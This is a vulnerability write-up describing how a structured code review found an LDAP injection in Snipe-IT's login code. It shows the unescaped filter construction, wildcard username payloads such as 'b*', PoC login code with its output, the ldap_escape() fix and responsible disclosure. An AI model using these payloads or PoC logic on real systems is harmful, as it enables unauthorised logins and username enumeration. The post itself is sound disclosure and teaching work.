Finding LDAP Injection in Snipe-IT

Apr 14, 2026 min read

Overview

Structured security code review is a practical and effective approach to finding real vulnerabilities. In this post I walk through how I applied a systematic review methodology to Snipe-IT, a popular open-source IT asset management platform, and how that approach led me directly to a working LDAP injection vulnerability.

The full disclosure write-up and Python PoC are linked at the end of the post.


The Review Methodology

I followed a structured security code review workflow built around six core steps:

  1. Map the attack surface - enumerate entry points from route definitions and controller registrations.
  2. Trace data flows from sources (HTTP parameters, headers, file uploads, external API responses) to dangerous sinks (database queries, command execution, HTML rendering, file system access).
  3. Check trust boundary crossings - every point where untrusted data crosses into a privileged operation.
  4. Apply OWASP and CWE checklists - the OWASP Top 10, API Top 10, and CWE Top 25 as reference material.
  5. Adopt an adversarial mindset - form a hypothesis (“I can bypass auth”), then work backwards to establish what conditions would make it exploitable.
  6. Map every finding to a CWE ID with evidence: the code location and the data flow that makes it exploitable.

Setting Up the Target

I ran Snipe-IT locally via Docker, with a real OpenLDAP server using the Planet Express test directory, a handy pre-populated LDAP instance with fictional Futurama characters as users.

# docker-compose snippet (LDAP service)
ldap:
  image: rroemhild/test-openldap
  ports:
    - 389:389

The LDAP directory contains users like amy, bender, fry, hermes, leela, professor, and zoidberg, each with a matching password.

Snipe-IT was configured with:

SettingValue
ldap_unamecn=admin,dc=planetexpress,dc=com
ldap_basedndc=planetexpress,dc=com
ldap_filter&(cn=*)(objectClass=inetOrgPerson)
ldap_auth_filter_queryuid=
ldap_username_fielduid

The ldap_uname being set means Snipe-IT uses the MultiOU path. It first binds as an admin service account to search for the user, then re-binds as that user to verify the password. This path is what makes the injection interesting.


Step 1: Mapping the Attack Surface

Following the methodology, I started with the route definitions and traced inbound authentication requests to their handlers. The relevant entry points are:

  • POST /login -> Auth\LoginController@login
  • GET|POST /ldap/sync-users -> LdapController@ldapSyncUsers (authenticated)

The login method fans out based on configuration:

// LoginController.php (simplified)
if ($ldap_enabled) {
    return $this->loginViaLdap($request);
}
if ($remote_user_enabled) {
    return $this->loginViaRemoteUser($request);
}
// ... local auth fallback

The $request->input('username') value flows from the POST body straight into loginViaLdap, which calls Ldap::findAndBindUserLdap().


Step 2: Tracing the Data Flow to the Sink

With the adversarial framing in mind, “Can I authenticate without knowing the exact username?”, I traced $username through findAndBindUserLdap():

// app/Models/Ldap.php:216-218
$filterQuery = $settings->ldap_auth_filter_query . $username;  // <-- no ldap_escape()
$filter      = Setting::getSettings()->ldap_filter;
$filterQuery = "({$filter}({$filterQuery}))";

And again a few lines earlier for the legacy (non-MultiOU) path:

// app/Models/Ldap.php:198
$userDn = $ldap_username_field . '=' . $username . ',' . $settings->ldap_basedn; // <-- no ldap_escape()

Both code paths take $username, which is the raw, unsanitized value from the HTTP POST body, and concatenate it directly into either an LDAP filter string or a distinguished name string. Neither call uses PHP’s ldap_escape().

This is CWE-90: Improper Neutralization of Special Elements used in an LDAP Query.

What a Normal Login Looks Like

With username fry and the settings above, Snipe-IT constructs:

(&(cn=*)(objectClass=inetOrgPerson)(uid=fry))

This matches exactly one LDAP entry. Snipe-IT retrieves fry’s DN and attempts a bind with the supplied password. Success: authenticated.

What the Injection Looks Like

With username f*:

(&(cn=*)(objectClass=inetOrgPerson)(uid=f*))

The * is a wildcard in LDAP filter syntax. If exactly one entry has a uid starting with f, the filter returns that one entry. Snipe-IT then binds as that user with the supplied password, and if the password is correct, authentication succeeds, even though the submitted username was f* and not fry.


Step 3: Proving Exploitability

Confirming the Injection Path is Active

I first confirmed that the MultiOU path was active by reading the Snipe-IT settings from inside the Docker container:

docker exec snipe-it-app-1 /usr/bin/php8.3 artisan tinker --execute \
  "echo Setting::first()->ldap_uname;"
# Output: cn=admin,dc=planetexpress,dc=com

A non-empty ldap_uname means the admin-bind-then-search flow is in use. ✓

Direct LDAP Verification

I verified the injected filter would return exactly one result using Python’s ldap3 library:

from ldap3 import Server, Connection, ALL

server = Connection(
    Server('ldap://localhost', get_info=ALL),
    user='cn=admin,dc=planetexpress,dc=com',
    password='GoodNewsEveryone',
    auto_bind=True
)

server.search(
    'dc=planetexpress,dc=com',
    '(&(cn=*)(objectClass=inetOrgPerson)(uid=f*))',
    attributes=['uid', 'cn']
)

print(server.entries)
# Output: DN: cn=Philip J. Fry,ou=people,dc=planetexpress,dc=com - uid: fry

Exactly one result. The injection will work.


Step 4: Building the PoC

I wrote a Python script that uses the requests library to interact with Snipe-IT’s web login form directly, demonstrating the injection over HTTP.

Key Logic

def do_login(username: str, password: str) -> tuple[bool, str, str]:
    session = requests.Session()
    # Extract CSRF token from the login page
    token = get_csrf(session)
    r = session.post(
        f"{TARGET}/login",
        data={"_token": token, "username": username, "password": password},
        allow_redirects=True,
        timeout=20,
    )
    # Redirected away from /login = authenticated
    success = r.status_code == 200 and "/login" not in r.url
    return success, r.url, extract_username(r.text)

The LDAP filter Snipe-IT would construct is straightforward to reconstruct locally for display:

def build_filter(username: str) -> str:
    return f"({LDAP_FILTER}({LDAP_AUTH_FILTER}{username}))"
# build_filter("f*") -> "(&(cn=*)(objectClass=inetOrgPerson)(uid=f*))"

Step 5: Running the PoC

Running the script against the local Snipe-IT instance confirmed the injection end-to-end.

Baseline

First, a normal login as amy/amy to confirm the environment was working:

[*] Step 1 - Baseline: exact username 'amy' / password 'amy'
  [+] Result : AUTHENTICATED
       Filter : (&(cn=*)(objectClass=inetOrgPerson)(uid=amy))

Wildcard Injection

Then the injection, username b* with Bender’s password:

[*] Step 2 - INJECTION: wildcard prefix 'b*' with Bender's password
    Injected LDAP filter: (&(cn=*)(objectClass=inetOrgPerson)(uid=b*))

  [+] AUTHENTICATED as a wildcard username!
       Submitted username : 'b*'
       Local user created : 'bender' (from LDAP attributes)

The session landed on the Snipe-IT dashboard authenticated as bender, with a local user record created from the LDAP attributes.

Full Results

Submitted usernamePasswordResult
f*fryAUTHENTICATED as fry
h*hermesAUTHENTICATED as hermes
l*leelaAUTHENTICATED as leela
p*professorAUTHENTICATED as professor
z*zoidbergAUTHENTICATED as zoidberg

Five of five users whose LDAP accounts had no prior local Snipe-IT account were successfully authenticated using a single-character wildcard prefix instead of their exact username.


Impact Assessment

The methodology explicitly calls for classifying findings by practical exploitability, not just theoretical risk. Here’s the honest breakdown:

What This IS

  1. Authentication with partial username knowledge. An attacker who knows a user’s LDAP password but not their exact uid can authenticate using a wildcard prefix. This is realistic in environments with non-obvious uid schemes (employee IDs, UUIDs, first-initial-lastname patterns).

  2. LDAP username enumeration (unauthenticated). By submitting wildcard prefixes with a deliberately wrong password and measuring response timing or error differences, an attacker can determine which uid prefixes exist in the directory, without any credentials at all.

  3. Arbitrary filter injection. More complex LDAP expressions (AND/OR/NOT operators, attribute conditions) can be injected. Combined with the fact that Snipe-IT writes matched LDAP attributes back to the local user record, this could be abused to overwrite a user’s profile data with another LDAP entry’s attributes.

What This Is NOT

A full authentication bypass without the target’s password is not possible under a correctly configured LDAP server. The bind step independently verifies the password. However, any LDAP server permitting anonymous (empty-password) binds would be fully compromised by this injection.


The Fix

PHP has provided ldap_escape() since PHP 5.6 specifically for this purpose. Two lines need to change:

// Line 216 - fix filter injection
// BEFORE:
$filterQuery = $settings->ldap_auth_filter_query . $username;
// AFTER:
$filterQuery = $settings->ldap_auth_filter_query
               . ldap_escape($username, '', LDAP_ESCAPE_FILTER);

// Line 198 - fix DN injection (legacy path)
// BEFORE:
$userDn = $ldap_username_field . '=' . $username . ',' . $settings->ldap_basedn;
// AFTER:
$userDn = $ldap_username_field . '='
          . ldap_escape($username, '', LDAP_ESCAPE_DN)
          . ',' . $settings->ldap_basedn;

LDAP_ESCAPE_FILTER escapes the characters ( ) * \ NUL which are significant in LDAP filter expressions. LDAP_ESCAPE_DN escapes characters significant in distinguished names. After either escape, the submitted f* becomes f\2a, which the LDAP server treats as a literal asterisk in the username, not a wildcard.


Reflections on Structured Security Review

Applying a deliberate, structured methodology meaningfully changed how I approached this review:

Structure over instinct. Without a deliberate workflow, I might have skipped straight to “interesting” code. The insistence on mapping routes and tracing data flows from sources to sinks is what led me to findAndBindUserLdap(), a method that otherwise looks unremarkable at a glance.

Adversarial hypothesis first. Framing the question as “can I authenticate without knowing the exact username?” before reading the code made me look at the filter construction with fresh eyes. The missing ldap_escape() would have been easy to overlook reading top-to-bottom.

CWE mapping. Having to articulate exactly which CWE applies and why forces clarity. CWE-90 is specific: it requires that special elements reach an LDAP query. The exercise of tracing $_POST['username'] -> $request->input('username') -> $username -> $filterQuery -> ldap_search() makes the exploitability undeniable.

Structured methodology doesn’t do the thinking for you, but it enforces the discipline that makes the thinking effective.


Disclosure

This vulnerability was responsibly disclosed to the Snipe-IT development team. The team was responsive, professional, and a pleasure to work with throughout the entire process. They engaged with the report quickly and collaboratively, making for one of the smoother disclosure experiences I’ve had. A copy of the disclosure email and the full Python PoC script are in the repository alongside this post.

  • Affected file: app/Models/Ldap.php:198, 216-218
  • Affected versions: Current master / develop at time of disclosure
  • Prerequisite: LDAP enabled with a service account (ldap_uname) configured
  • CWE: CWE-90 - Improper Neutralization of Special Elements used in an LDAP Query

Resources